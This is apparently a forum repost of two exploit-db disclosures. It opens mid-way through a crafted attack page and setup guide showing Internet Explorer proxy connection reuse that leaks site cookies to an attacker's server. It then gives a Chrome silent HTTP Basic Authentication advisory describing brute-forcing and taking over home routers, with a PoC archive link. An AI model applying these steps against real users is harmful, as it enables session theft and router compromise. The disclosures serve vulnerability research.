<br/> <iframe src="http://account.live.com/info.php" width="900" height="100"></iframe> <br/> <iframe src="http://www.dropbox.com/info.php" width="900" height="100"></iframe> </body> </html> - script.js (empty file) Timeline: Discovered (12.12.2011) Reported to Vendor (16.12.2011) Confirmed by Vendor (09.01.2012) Proof of Concept (27.01.2013) Made Public (28.01.2013) After a short walkthrough of the setup I will demonstrate the result. 1. Install a proxy server of your choice. We use squid for now. 2. Install a webserver. We use apache for now. a. Make the webserver listen for http traffic on port 80 b. Make the webserver listen for https traffic on the same port as the proxy does. In our example Squid works on 443 3. Due to the lack of an approved certificate for our website we have to import the https certificate into our key store. If you got a public hostname and a certificate for than it this step is not necessary 4. Let?s check that the client and the proxy resolve the hostnames to the correct IP addresses (web01.local.home, web02.local.home, Google, www.facebook.com, and so on) 5. Setup a website with lots of data to be fetched from our https website. The result is that lots of connections get established 6. After that we request some data from the actual target website. In our example we use Facebook, linkedin, dropbox, ? 7. As you can see in our example we send all cookies to the wrong website and display the data using a php script. I do only show the names of the cookies instead of the actual data but be assured that the whole cookie gets sent 8. This is not limited to external websites. Even cookies used inside a company can get stolen the very same way. Imagine you use SAML to authenticate to Office 365 or other SaaS products. 9. This works out of the box with XP and apache. Windows 7 does include the hostname in each request and apache does check this field [RFC 6066]. 10. You have to customize and build apache to remove that check. Nevertheless the actual information was sent on Windows 7 as well. After all this check is carried out on the webserver. 11. Let?s ping the proxy and do a single post so we can narrow in once we analyze the traffic 12. One even scarier thing happens if you do the following. First open our special crafted website. Then move on to https://www.google.com; afterwards open another website like http://virusscan.jotti.org/info.php 13. As you can see IE thinks it is connected securely but when you have a closer look than you will see that IE thinks it is connected to Google but it ended up on our webserver 14. Sometimes IE crashed once you close it after you played around with this website which might indicate that there are some loose references or other vulnerabilities you could exploit Analyze what happens: ===================== How ends that data up being sent to the wrong webserver? First we have a look what our special crafted website looks like. You will see it is not that special. We have 3 forms with a submit button and several includes of script.js followed by several iframes of info.php; The last 5 iframes are to facebook, google, linkedin, and so on. What we expect IE to carry out: 1. Get our crafted website 2. Build https connection and download script.js from https://web01.local.home:8080 3. Build https connection and download info.php from https://web01.local.home:8080 4. Use a normal connection to download content from facebook, google, linkedin, and so on We use wireshark to have a look if that is true: 1. We see the GET of our crafted website and the unencrypted traffic which says nothing has changed 2. We see 12 connect for the 39 requests over https. That means we reuse the connections! 3. Search for any other GET or POST which should be unencrypted --> There are no 4. What happened to the requests? Let?s have a look at the very end. Right after we started the ping command, there should be a request 5. It is tunneled over the https connection which ends at our crafted website Conclusion: After several connections are opened IE starts to reuse them. Unfortunately it seems that the proxy component of IE does not keep track of the actual target of the connections. This results in GET/POST REQUEST getting tunneled through an SSL connection to the wrong webserver. The proxy server does not even see what is going on within the SSL connection so there is nothing it could do to prevent it. This might be different if you scan inside of the SSL connection. RFC 6066 section 11.1 specifies that web servers MUST check that the host header and host name sent via SNI match but does a proxy scan for such malfunction? Sursa: http://www.exploit-db.com/exploits/24432/

Google Chrome Silent HTTP Authentication # Exploit Title: [Google Chrome Silent HTTP Authentication] # Date: [2-5-2013] # Exploit Author: [T355] # Vendor Homepage: [http://www.google.com/chrome] # Version: [24.0.1312.57] # Tested on: [Tested on: Windows 7 & Mac OSX Mountain Lion] # CVE : [n/a] VULNERABILITY DETAILS The latest version of Google Chrome (Tested on Version 24.0.1312.57) fails to properly recognize HTTP Basic Authentication when injected in various HTML tags. As a result of this behavior Chrome will not alert the user when HTTP Basic Authentication is taking place or when credentials are rejected. This behavior is particularly concerning with respect to small office and home routers. Such devices are easily brute forced using this method. Many of these devices have the default password enabled which brings me to part II of this bug. Silent HTTP Authentication allows the attacker to log into the router and change settings with no alerts and or warnings issued by Chrome. The end result allows an attacker to brute force the router login, connect to the router, enable remote administration and of course control all information on the entire network via DNS attacks etc. REPRODUCTION CASE I have attached the following files: sploit.txt - Indicates the buggy code. jquery.js - Used for real world scenario but not needed for bug. brute.js - Real world attack scenario for this bug. index.html - HTML Attack Page attack.php - Payload file for Linksys Routers. VERSION Chrome Version: [24.0.1312.57] Operating System: [Tested on: Windows 7 & Mac OSX Mountain Lion] CREDIT I do want my real name to remain anonymous. Please credit -T355 IMPACT The impact for this bug is enormous. Tens of millions of home routers can easily be completely compromised. Distributed brute force attacks can be performed on any HTTP Authentication portal. RECOMMENDATIONS Reference how Firefox and Safari handle the attached code. PoC: http://www.exploit-db.com/sploits/24486.tar.gz Sursa: Google Chrome Silent HTTP Authentication